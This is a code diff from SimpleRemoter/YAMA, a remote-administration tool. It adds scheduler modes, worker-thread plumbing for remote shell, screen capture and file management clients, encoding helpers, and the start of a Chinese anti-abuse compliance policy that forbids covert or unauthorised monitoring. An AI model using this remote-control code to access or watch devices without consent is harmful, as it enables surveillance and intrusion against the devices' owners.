#define YAMA_SCHEDULER_H
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
// 调度模式定义
|
// 调度模式定义
|
||||||
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
|
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
|
||||||
#define SCH_MODE_STARTUP 1 // 启动执行模式
|
#define SCH_MODE_STARTUP 1 // 启动执行模式
|
||||||
#define SCH_MODE_DAILY 2 // 每日定时模式
|
#define SCH_MODE_DAILY 2 // 每日定时模式
|
||||||
#define SCH_MODE_WEEKLY 3 // 每周定时模式
|
#define SCH_MODE_WEEKLY 3 // 每周定时模式
|
||||||
|
#define SCH_MODE_MONTHLY 4 // 每月定时模式
|
||||||
|
#define SCH_MODE_YEARLY 5 // 每年定时模式
|
||||||
|
#define SCH_MODE_OFF 6 // 关闭
|
||||||
|
#define SCH_MODE_MAX 7
|
||||||
|
|
||||||
#pragma pack(push, 1)
|
#pragma pack(push, 1)
|
||||||
// 严格定义 16 字节结构
|
// 严格定义 16 字节结构
|
||||||
@@ -40,6 +46,7 @@ class YamaTaskEngine {
|
|||||||
public:
|
public:
|
||||||
static bool ShouldExecute(const ScheduleParams* p) {
|
static bool ShouldExecute(const ScheduleParams* p) {
|
||||||
// --- 1. 默认与基础拦截 ---
|
// --- 1. 默认与基础拦截 ---
|
||||||
|
if (p->Mode == SCH_MODE_OFF) return false;
|
||||||
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0,默认不执行
|
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0,默认不执行
|
||||||
if (p->Flags & 0x01) return false; // 显式禁用拦截
|
if (p->Flags & 0x01) return false; // 显式禁用拦截
|
||||||
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
|
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
|
||||||
@@ -63,9 +70,51 @@ public:
|
|||||||
SYSTEMTIME st;
|
SYSTEMTIME st;
|
||||||
GetLocalTime(&st);
|
GetLocalTime(&st);
|
||||||
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
|
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
|
||||||
|
// TargetMin=0 表示 0:00 执行
|
||||||
if (curMin >= p->Config.Timed.TargetMin) {
|
if (curMin >= p->Config.Timed.TargetMin) {
|
||||||
if (!IsSameDay(p->LastRunTime, now)) return true;
|
if (!IsSameDay(p->LastRunTime, now)) return true;
|
||||||
}
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- 4. 每周定时逻辑 (Mode 3) ---
|
||||||
|
if (p->Mode == SCH_MODE_WEEKLY) {
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
|
||||||
|
// DaysMask=0 表示周日 (wDayOfWeek: 0=周日, 1=周一, ...)
|
||||||
|
unsigned char targetDay = p->Config.Timed.DaysMask;
|
||||||
|
if (st.wDayOfWeek == targetDay && curMin >= p->Config.Timed.TargetMin) {
|
||||||
|
if (!IsSameWeek(p->LastRunTime, now)) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- 5. 每月定时逻辑 (Mode 4) ---
|
||||||
|
if (p->Mode == SCH_MODE_MONTHLY) {
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
|
||||||
|
// DaysMask=0 表示每月第 1 天
|
||||||
|
unsigned char targetDay = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
|
||||||
|
if (st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
|
||||||
|
if (!IsSameMonth(p->LastRunTime, now)) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- 6. 每年定时逻辑 (Mode 5) ---
|
||||||
|
if (p->Mode == SCH_MODE_YEARLY) {
|
||||||
|
SYSTEMTIME st;
|
||||||
|
GetLocalTime(&st);
|
||||||
|
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
|
||||||
|
// DaysMask=0, Reserved=0 表示 1月1日
|
||||||
|
unsigned char targetMonth = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
|
||||||
|
unsigned char targetDay = p->Config.Timed.Reserved == 0 ? 1 : p->Config.Timed.Reserved;
|
||||||
|
if (st.wMonth == targetMonth && st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
|
||||||
|
if (!IsSameYear(p->LastRunTime, now)) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
return false;
|
return false;
|
||||||
@@ -88,13 +137,66 @@ private:
|
|||||||
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
|
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
|
||||||
if (ft1 == 0 || ft2 == 0) return false;
|
if (ft1 == 0 || ft2 == 0) return false;
|
||||||
SYSTEMTIME st1, st2;
|
SYSTEMTIME st1, st2;
|
||||||
FILETIME f1, f2;
|
FTToST(ft1, &st1);
|
||||||
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
|
FTToST(ft2, &st2);
|
||||||
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
|
|
||||||
FileTimeToSystemTime(&f1, &st1);
|
|
||||||
FileTimeToSystemTime(&f2, &st2);
|
|
||||||
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
|
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static bool IsSameWeek(unsigned __int64 ft1, unsigned __int64 ft2) {
|
||||||
|
if (ft1 == 0 || ft2 == 0) return false;
|
||||||
|
// 转换为本地时间的天数,再判断是否在同一周
|
||||||
|
SYSTEMTIME st1, st2;
|
||||||
|
FTToST(ft1, &st1);
|
||||||
|
FTToST(ft2, &st2);
|
||||||
|
// 计算两个日期各自所在周的周日日期,相同则同一周
|
||||||
|
int days1 = DaysSinceEpoch(st1.wYear, st1.wMonth, st1.wDay);
|
||||||
|
int days2 = DaysSinceEpoch(st2.wYear, st2.wMonth, st2.wDay);
|
||||||
|
// 回退到本周周日 (wDayOfWeek: 0=周日)
|
||||||
|
int weekStart1 = days1 - st1.wDayOfWeek;
|
||||||
|
int weekStart2 = days2 - st2.wDayOfWeek;
|
||||||
|
return (weekStart1 == weekStart2);
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool IsSameMonth(unsigned __int64 ft1, unsigned __int64 ft2) {
|
||||||
|
if (ft1 == 0 || ft2 == 0) return false;
|
||||||
|
SYSTEMTIME st1, st2;
|
||||||
|
FTToST(ft1, &st1);
|
||||||
|
FTToST(ft2, &st2);
|
||||||
|
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth);
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool IsSameYear(unsigned __int64 ft1, unsigned __int64 ft2) {
|
||||||
|
if (ft1 == 0 || ft2 == 0) return false;
|
||||||
|
SYSTEMTIME st1, st2;
|
||||||
|
FTToST(ft1, &st1);
|
||||||
|
FTToST(ft2, &st2);
|
||||||
|
return (st1.wYear == st2.wYear);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void FTToST(unsigned __int64 ft, SYSTEMTIME* pSt) {
|
||||||
|
FILETIME ftUtc, ftLocal;
|
||||||
|
ftUtc.dwLowDateTime = (DWORD)ft;
|
||||||
|
ftUtc.dwHighDateTime = (DWORD)(ft >> 32);
|
||||||
|
FileTimeToLocalFileTime(&ftUtc, &ftLocal);
|
||||||
|
FileTimeToSystemTime(&ftLocal, pSt);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 简易计算从某基准日开始的天数 (用于周计算)
|
||||||
|
static int DaysSinceEpoch(int year, int month, int day) {
|
||||||
|
// 简化算法:相对于 2000-01-01 的天数
|
||||||
|
int y = year - 2000;
|
||||||
|
int leapYears = (y > 0) ? ((y - 1) / 4 - (y - 1) / 100 + (y - 1) / 400 + 1) : 0;
|
||||||
|
int days = y * 365 + leapYears;
|
||||||
|
static const int daysBeforeMonth[] = { 0,31,59,90,120,151,181,212,243,273,304,334 };
|
||||||
|
days += daysBeforeMonth[month - 1] + day - 1;
|
||||||
|
// 闰年 2 月后加 1 天
|
||||||
|
if (month > 2 && IsLeapYear(year)) days++;
|
||||||
|
return days;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool IsLeapYear(int year) {
|
||||||
|
return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
|
||||||
|
}
|
||||||
};
|
};
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
70
common/sub_conn_thread.h
Normal file
70
common/sub_conn_thread.h
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
// sub_conn_thread.h
|
||||||
|
// Linux/macOS 客户端子连接 worker 线程的统一骨架。
|
||||||
|
//
|
||||||
|
// 各 worker 线程(Shell / ScreenSpy / FileManager / SystemManager 等)共有的步骤:
|
||||||
|
// 1. new IOCPClient(g_bExit, exit_while_disconnect=true)
|
||||||
|
// 2. Enter log
|
||||||
|
// 3. EnableSubConnAuth(true, g_myClientID)(子连接强制 ConnAuth)
|
||||||
|
// 4. ConnectServer(内部会执行 PerformConnAuth;失败返 false)
|
||||||
|
// 5. 创建 platform handler
|
||||||
|
// 6. setManagerCallBack 装回调
|
||||||
|
// 7. 调 onReady(发首包:TOKEN_TERMINAL_START / SendBitmapInfo() 等)
|
||||||
|
// 8. while (running && connected && !g_bExit) Sleep
|
||||||
|
// 9. 清回调防止 dangling
|
||||||
|
// 10. Leave log
|
||||||
|
// 11. catch exceptions
|
||||||
|
//
|
||||||
|
// 平台差异(通过 lambda 注入):
|
||||||
|
// - HandlerT:PTYHandler / ScreenHandler / SystemManager / FileManager
|
||||||
|
// - createHandler 可返回 nullptr 表示初始化失败(如 macOS ScreenHandler 无录屏权限)
|
||||||
|
// - onReady 完成首包发送或额外 setup
|
||||||
|
//
|
||||||
|
// 用法见 linux/main.cpp / macos/main.mm 的 *workingThread 调用点。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <memory>
|
||||||
|
#include <stdexcept>
|
||||||
|
|
||||||
|
#include "client/IOCPClient.h"
|
||||||
|
#include "common/commands.h"
|
||||||
|
#include "common/logger.h"
|
||||||
|
|
||||||
|
extern State g_bExit;
|
||||||
|
extern uint64_t g_myClientID;
|
||||||
|
extern CONNECT_ADDRESS g_SETTINGS;
|
||||||
|
|
||||||
|
// 子连接 worker 线程通用骨架。
|
||||||
|
//
|
||||||
|
// CreateFn 签名: std::unique_ptr<HandlerT>(IOCPClient*)
|
||||||
|
// 返回 nullptr 表示初始化失败(如权限拒绝),线程会跳过 callback 安装直接 leave。
|
||||||
|
// OnReadyFn 签名: void(IOCPClient*, HandlerT*)
|
||||||
|
// handler 装上 callback 后立即调用,可在此发送首包或做额外 setup。
|
||||||
|
template <class HandlerT, class CreateFn, class OnReadyFn>
|
||||||
|
inline void RunSubConnThread(const char* threadName, CreateFn createHandler, OnReadyFn onReady)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||||
|
void* clientAddr = ClientObject.get();
|
||||||
|
Mprintf(">>> Enter %s [%p]\n", threadName, clientAddr);
|
||||||
|
|
||||||
|
// 子连接:开启 auth。Linux/macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。
|
||||||
|
ClientObject->EnableSubConnAuth(true, g_myClientID);
|
||||||
|
|
||||||
|
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||||
|
std::unique_ptr<HandlerT> handler = createHandler(ClientObject.get());
|
||||||
|
if (handler) {
|
||||||
|
ClientObject->setManagerCallBack(handler.get(),
|
||||||
|
IOCPManager::DataProcess,
|
||||||
|
IOCPManager::ReconnectProcess);
|
||||||
|
onReady(ClientObject.get(), handler.get());
|
||||||
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||||
|
Sleep(1000);
|
||||||
|
// 清除回调,防止重连线程访问已销毁的 handler
|
||||||
|
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Mprintf(">>> Leave %s [%p]\n", threadName, clientAddr);
|
||||||
|
} catch (const std::exception& e) {
|
||||||
|
Mprintf("*** %s exception: %s ***\n", threadName, e.what());
|
||||||
|
}
|
||||||
|
}
|
||||||
56
common/utf8.h
Normal file
56
common/utf8.h
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将本地多字节字符串 (ANSI/GBK) 转换为 UTF-8
|
||||||
|
*/
|
||||||
|
inline std::string ansi_to_utf8(const std::string& ansi_str) {
|
||||||
|
if (ansi_str.empty()) return "";
|
||||||
|
|
||||||
|
// 1. ANSI -> UTF-16 (WideChar)
|
||||||
|
int wlen = MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, NULL, 0);
|
||||||
|
std::wstring wstr(wlen, 0);
|
||||||
|
MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, &wstr[0], wlen);
|
||||||
|
|
||||||
|
// 2. UTF-16 -> UTF-8
|
||||||
|
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||||
|
std::string utf8_str(u8len, 0);
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &utf8_str[0], u8len, NULL, NULL);
|
||||||
|
|
||||||
|
// 移除末尾的 \0
|
||||||
|
if (!utf8_str.empty() && utf8_str.back() == '\0') {
|
||||||
|
utf8_str.pop_back();
|
||||||
|
}
|
||||||
|
return utf8_str;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将 UTF-8 字符串转换为本地多字节字符串 (ANSI/GBK)
|
||||||
|
* 用于在多字节字符集 UI 上正常显示从远程接收到的内容
|
||||||
|
*/
|
||||||
|
inline std::string utf8_to_ansi(const std::string& utf8_str) {
|
||||||
|
if (utf8_str.empty()) return "";
|
||||||
|
|
||||||
|
// 1. UTF-8 -> UTF-16 (WideChar)
|
||||||
|
// 计算需要的宽字符长度
|
||||||
|
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
|
||||||
|
if (wlen <= 0) return "";
|
||||||
|
|
||||||
|
std::wstring wstr(wlen, 0);
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, &wstr[0], wlen);
|
||||||
|
|
||||||
|
// 2. UTF-16 -> ANSI (Local Code Page, e.g., GBK)
|
||||||
|
// CP_ACP 表示使用当前系统的 ANSI 代码页
|
||||||
|
int alen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||||
|
if (alen <= 0) return "";
|
||||||
|
|
||||||
|
std::string ansi_str(alen, 0);
|
||||||
|
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi_str[0], alen, NULL, NULL);
|
||||||
|
|
||||||
|
// 移除 WideCharToMultiByte 自动添加的 \0 结尾
|
||||||
|
if (!ansi_str.empty() && ansi_str.back() == '\0') {
|
||||||
|
ansi_str.pop_back();
|
||||||
|
}
|
||||||
|
|
||||||
|
return ansi_str;
|
||||||
|
}
|
||||||
626
docs/Compliance_AntiAbuse.md
Normal file
626
docs/Compliance_AntiAbuse.md
Normal file
@@ -0,0 +1,626 @@
|
|||||||
|
# 反滥用与合规使用政策
|
||||||
|
|
||||||
|
> **文档版本**:1.0
|
||||||
|
> **生效日期**:本文档自发行方在公开仓库发布之日起对所有获取本软件的人员生效;
|
||||||
|
> 后续修订以仓库提交记录为准。
|
||||||
|
> **文档语言**:本文档以简体中文为权威版本;译本在含义不一致时,以中文版本为准。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 重要声明(请在使用本软件之前完整阅读)
|
||||||
|
|
||||||
|
> **本文档不是法律意见。** 本文档由发行方以一般合规材料的形式起草,目的是
|
||||||
|
> 阐明本软件的设计意图、许可使用范围、禁止使用情形以及发行方与最终使用方
|
||||||
|
> 之间的责任划分。本文档不构成针对任何特定司法辖区、特定使用场景的法律
|
||||||
|
> 意见,亦不替代用户应当自行向具备执业资质的律师寻求的专业建议。
|
||||||
|
>
|
||||||
|
> **使用本软件即视为您已阅读、理解并接受本文档全部条款。** 如您不能或不愿
|
||||||
|
> 接受本文档任一条款,请立即停止下载、安装、运行、复制、修改、分发本软件,
|
||||||
|
> 并销毁您持有的全部副本。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 目的与适用范围
|
||||||
|
|
||||||
|
### 1.1 文档目的
|
||||||
|
|
||||||
|
本文档(以下简称"本政策")的目的是:
|
||||||
|
|
||||||
|
1. 明确本软件(指仓库中所标识的 SimpleRemoter / YAMA 项目,包括其源代码、
|
||||||
|
编译产物、文档、配置示例与所有衍生分发物,以下统称"本软件")的合法
|
||||||
|
使用边界;
|
||||||
|
2. 公开发行方为防止本软件被滥用而内置的技术措施;
|
||||||
|
3. 在发行方与最终使用方之间划清责任,确保任何越权或违法使用行为的法律
|
||||||
|
后果由实施该行为的一方独立承担;
|
||||||
|
4. 作为本软件项目对外的"反滥用与合规姿态"的正式书面证据,可被援引于
|
||||||
|
任何与本软件被滥用相关的调查、诉讼或行政程序。
|
||||||
|
|
||||||
|
### 1.2 适用对象
|
||||||
|
|
||||||
|
本政策对下列各方均具有约束力:
|
||||||
|
|
||||||
|
- 直接从发行方仓库获取本软件源代码或编译产物的个人 / 实体;
|
||||||
|
- 通过任何第三方渠道(镜像站点、社区转发、二次发行等)获取本软件的
|
||||||
|
个人 / 实体;
|
||||||
|
- 在发行方授权体系内取得"试用口令"或"正式授权"的被授权方;
|
||||||
|
- 上述各方在其内部组织 / 团队 / 客户处的实际操作人员。
|
||||||
|
|
||||||
|
上述各方在本政策中统称为"使用方"。
|
||||||
|
|
||||||
|
### 1.3 与其他文档的关系
|
||||||
|
|
||||||
|
本政策与本软件附带的下列材料共同构成完整的使用条件:
|
||||||
|
|
||||||
|
- 仓库根目录下的 `README.md`(项目简介及法律警告);
|
||||||
|
- 仓库根目录下的 `LICENSE` 或同等开源许可证文件;
|
||||||
|
- 发行方在签发"正式授权"时单独签订的授权协议(如有)。
|
||||||
|
|
||||||
|
如本政策与上述任一材料的表述发生冲突,以**对发行方更有利、对使用方义务
|
||||||
|
更严格**的表述为准。这一冲突解决规则的目的,是确保本软件的反滥用立场
|
||||||
|
不因任何文档表述差异而被削弱。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 术语定义
|
||||||
|
|
||||||
|
为便于理解,下列术语在本政策中具有以下含义:
|
||||||
|
|
||||||
|
- **"发行方"**:本软件源代码仓库的合法持有人,以及由其明确指定的代理人。
|
||||||
|
- **"被授权方"**:在发行方授权体系内取得任一档授权(无口令档不构成
|
||||||
|
显式授权,但仍受本政策约束)的个人或实体。
|
||||||
|
- **"被管设备"**:使用方利用本软件进行远程访问、监控、控制的目标
|
||||||
|
计算设备,包括但不限于个人电脑、服务器、移动终端、嵌入式设备。
|
||||||
|
- **"被管设备相关方"**:被管设备的所有人(拥有该设备物权或处分权的
|
||||||
|
自然人 / 法人)以及实际使用人(在该设备上工作、存储个人数据、
|
||||||
|
进行账户登录的自然人)。两者可能为同一人,也可能为不同人。
|
||||||
|
- **"个人信息"**:以电子或其他方式记录的、与已识别或可识别的自然人
|
||||||
|
有关的各种信息,含义参照《中华人民共和国个人信息保护法》第四条
|
||||||
|
及欧盟《通用数据保护条例》(GDPR)第 4 条第(1)项。
|
||||||
|
- **"司法辖区"**:与使用方实际部署、运营本软件相关的任何国家或地区
|
||||||
|
的法律体系,包括使用方住所地、被管设备所在地、被管设备相关方
|
||||||
|
所在地、相关数据流转或存储所在地。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 软件设计意图与许可使用场景
|
||||||
|
|
||||||
|
### 3.1 设计意图
|
||||||
|
|
||||||
|
本软件的设计意图是为下列**合法、获明示同意的**使用场景提供技术能力:
|
||||||
|
|
||||||
|
| 场景 | 典型形态 | 必要前提 |
|
||||||
|
|------|---------|---------|
|
||||||
|
| 个人单机管理 | 自有设备的远程登录、应急自救 | 设备由使用人自有 |
|
||||||
|
| 内部 IT 运维 | 组织内部对自有设备 / 受雇员同意监控的工作设备进行批量管理 | 组织对设备享有所有权 / 管理权,且对使用人完成合规告知 |
|
||||||
|
| 授权安全研究 | 渗透测试、红队演练、漏洞研究 | 与目标系统所有方签署书面授权委托 |
|
||||||
|
| 教学与技术学习 | 在隔离实验环境中学习网络编程、IOCP 模型、远程控制原理 | 实验环境与生产环境完全隔离,无第三方设备介入 |
|
||||||
|
|
||||||
|
### 3.2 许可使用场景的共同要件
|
||||||
|
|
||||||
|
无论上述哪一种场景,使用方均须同时满足下列要件:
|
||||||
|
|
||||||
|
1. **合法权源**:使用方对被管设备享有合法的所有权、管理权或经合法授权
|
||||||
|
的访问权;
|
||||||
|
2. **明示同意**:被管设备相关方已就本软件的安装、运行及其将采集 /
|
||||||
|
传输的所有数据类型,给予事先、明确、可撤回、可追溯的书面同意(含
|
||||||
|
电子形式);
|
||||||
|
3. **目的限定**:使用目的限定为前条所列形态,不得超出已告知的范围;
|
||||||
|
4. **最小必要**:仅使用与目的相符的最小必要功能,不主动启用与目的
|
||||||
|
无关的采集 / 控制能力;
|
||||||
|
5. **可审计性**:使用方保留充分的操作日志、授权记录、同意证据,以
|
||||||
|
备监管核查或事后追溯。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 严禁使用情形
|
||||||
|
|
||||||
|
### 4.1 一般性禁止
|
||||||
|
|
||||||
|
下列使用情形被本政策**绝对禁止**,不因任何技术可行性或商业便利而例外:
|
||||||
|
|
||||||
|
1. **未经授权的访问**:在未取得被管设备所有人或合法管理人事先书面
|
||||||
|
同意的情况下,对其设备进行访问、监控、控制、信息读取或修改;
|
||||||
|
2. **隐蔽监控**:以隐蔽、欺骗或诱导方式安装本软件,使被管设备使用人
|
||||||
|
不知晓本软件正在运行、采集数据或被远程操作;
|
||||||
|
3. **职场越界监控**:在工作场所对员工实施超出当地劳动法、个人信息
|
||||||
|
保护法允许范围的监控,包括但不限于个人通讯、私人账户、非工作
|
||||||
|
时间的活动监控;
|
||||||
|
4. **未成年人监控**:对未成年人实施未取得其法定监护人完整知情同意的
|
||||||
|
监控,或在已取得同意的情况下采集 / 传输与监护目的无关的内容;
|
||||||
|
5. **政府机关 / 关键信息基础设施**:在未取得相应行政许可或安全审查
|
||||||
|
通过的情况下,将本软件部署于政府机关、关键信息基础设施运营者所
|
||||||
|
管理的系统;
|
||||||
|
6. **商业秘密窃取**:用于获取、复制、传输他方拥有所有权或保密权益的
|
||||||
|
技术信息、经营信息、客户数据;
|
||||||
|
7. **非法跨境数据传输**:在未完成属地法律所要求的数据出境安全评估、
|
||||||
|
认证或合同备案的情况下,使用本软件作为传输通道将受管辖数据传输
|
||||||
|
至境外;
|
||||||
|
8. **金融、医疗等强监管领域**:在不符合相应行业监管规则(如金融业
|
||||||
|
外包管理、医疗信息系统等保认证)的情况下,将本软件部署于该等
|
||||||
|
行业的生产环境;
|
||||||
|
9. **以骚扰、跟踪、勒索为目的**:用于跟踪特定自然人的行踪、骚扰
|
||||||
|
通讯、敲诈勒索、网络欺凌或其他对自然人造成精神或财产损害的
|
||||||
|
行为;
|
||||||
|
10. **规避执法或监管**:用于隐藏违法证据、对抗执法调查、规避监管
|
||||||
|
报送义务,或为上述行为提供辅助。
|
||||||
|
|
||||||
|
### 4.2 与现行法律体系的对应关系(提示性,非详尽)
|
||||||
|
|
||||||
|
下列法律法规中的相关条款,与第 4.1 条所列禁止情形可能直接相关。
|
||||||
|
本提示不构成对法律适用的全面分析,使用方应自行评估并取得专业法律
|
||||||
|
意见:
|
||||||
|
|
||||||
|
- **中华人民共和国法律体系**:
|
||||||
|
- 《刑法》第 285 条(非法侵入计算机信息系统罪、非法获取计算机
|
||||||
|
信息系统数据罪、非法控制计算机信息系统罪);
|
||||||
|
- 《刑法》第 286 条(破坏计算机信息系统罪);
|
||||||
|
- 《刑法》第 286 条之一(拒不履行信息网络安全管理义务罪);
|
||||||
|
- 《刑法》第 287 条之一、之二(非法利用信息网络罪、帮助信息
|
||||||
|
网络犯罪活动罪);
|
||||||
|
- 《网络安全法》第 27 条、第 44 条、第 76 条;
|
||||||
|
- 《数据安全法》第 32 条、第 51 条;
|
||||||
|
- 《个人信息保护法》第 13 条、第 17 条、第 23 条、第 38 条、
|
||||||
|
第 66 条;
|
||||||
|
- 《关键信息基础设施安全保护条例》。
|
||||||
|
- **欧盟法律体系**:
|
||||||
|
- 《通用数据保护条例》(GDPR)第 5、6、7、9、44–49、83 条;
|
||||||
|
- 《网络与信息系统安全指令》(NIS2 Directive);
|
||||||
|
- 部分成员国对工作场所监控、电信秘密的特别立法。
|
||||||
|
- **其他司法辖区**:
|
||||||
|
- 美国 Computer Fraud and Abuse Act (CFAA);
|
||||||
|
- 美国各州的电子通讯隐私立法、儿童在线隐私保护法(COPPA);
|
||||||
|
- 英国 Computer Misuse Act 1990;
|
||||||
|
- 部分国家 / 地区的"出口管制清单"对网络入侵 / 监视类双用途
|
||||||
|
物项的限制(如 Wassenaar Arrangement 框架下的"intrusion
|
||||||
|
software"管制)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 使用方的义务与承诺
|
||||||
|
|
||||||
|
使用方在下载、安装或以任何方式使用本软件之时,即被视为对发行方作出
|
||||||
|
下列各项独立的、可追溯的承诺:
|
||||||
|
|
||||||
|
### 5.1 合法性承诺
|
||||||
|
|
||||||
|
使用方承诺其使用本软件的目的、方式、范围、对象在所有相关司法辖区下
|
||||||
|
均不构成对任何法律法规的违反。使用方进一步承诺其已自行评估或委托
|
||||||
|
专业人士评估前述合法性,不依赖发行方提供的任何材料(包括本政策)
|
||||||
|
作为最终合法性判断的依据。
|
||||||
|
|
||||||
|
### 5.2 同意取得承诺
|
||||||
|
|
||||||
|
在每一台被管设备上部署本软件之前,使用方承诺其已取得被管设备相关方
|
||||||
|
**事先、明确、书面或可等同书面形式**的同意。该同意应至少包含:
|
||||||
|
|
||||||
|
- 软件名称及主要功能描述;
|
||||||
|
- 将采集的数据类型与传输去向;
|
||||||
|
- 数据保留期限;
|
||||||
|
- 撤回同意的方式;
|
||||||
|
- 数据访问、更正、删除等权利的行使路径。
|
||||||
|
|
||||||
|
使用方承诺保留上述同意的可追溯证据不少于本软件在该设备上停止运行
|
||||||
|
后 **三 (3) 年** 或属地法律规定的更长期限。
|
||||||
|
|
||||||
|
### 5.3 不规避承诺
|
||||||
|
|
||||||
|
使用方承诺**不通过任何方式**规避、削弱、屏蔽本软件中由发行方设置
|
||||||
|
的反滥用机制(详见第 6 节),包括但不限于:
|
||||||
|
|
||||||
|
- 反编译、二进制 patch、内存注入修改授权校验逻辑;
|
||||||
|
- 通过 hook、API 拦截、虚拟机等手段屏蔽告警弹窗或日志输出;
|
||||||
|
- 伪造授权服务器响应、本地搭建假冒授权服务器;
|
||||||
|
- 修改源代码后将"已禁用反滥用机制"的衍生版本对外分发。
|
||||||
|
|
||||||
|
任何上述行为本身即构成对本政策的根本违反,且发行方有权将其作为
|
||||||
|
"使用方明知滥用而仍刻意为之"的证据用于后续追责。
|
||||||
|
|
||||||
|
### 5.4 配合调查承诺
|
||||||
|
|
||||||
|
使用方承诺,在发行方根据合理依据怀疑其存在违反本政策的行为时,
|
||||||
|
有义务在合理期限内向发行方提供下列材料供核查:
|
||||||
|
|
||||||
|
- 部署本软件的设备清单及其所有人 / 使用人信息;
|
||||||
|
- 第 5.2 条所述同意取得证据;
|
||||||
|
- 部署期间的操作日志、配置信息;
|
||||||
|
- 与第 4 节所列禁止情形之否认陈述。
|
||||||
|
|
||||||
|
如使用方在合理期限内拒绝配合或提供虚假材料,发行方有权直接吊销
|
||||||
|
其授权,并将相关情况报告给有管辖权的执法或监管机关。
|
||||||
|
|
||||||
|
### 5.5 损害赔偿承诺
|
||||||
|
|
||||||
|
使用方承诺:因其违反本政策而导致发行方面临任何第三方索赔、行政
|
||||||
|
处罚、刑事调查或声誉损害的,使用方应向发行方提供完整的损害赔偿
|
||||||
|
(indemnification),包括但不限于:
|
||||||
|
|
||||||
|
- 发行方为应对前述事件支出的合理律师费、调查费、公关费;
|
||||||
|
- 发行方因前述事件被判决或和解承担的赔偿金额;
|
||||||
|
- 发行方因前述事件遭受的间接经济损失(在属地法律允许范围内)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 发行方内置的反滥用技术措施
|
||||||
|
|
||||||
|
为体现发行方"已采取合理技术措施防止本软件被滥用"的立场,本软件
|
||||||
|
在源代码层面内置了下列强制性技术机制。这些机制的源代码公开可查,
|
||||||
|
任何人均可独立验证其存在与运行:
|
||||||
|
|
||||||
|
### 6.1 入站连接源 IP 段校验(`LANChecker`)
|
||||||
|
|
||||||
|
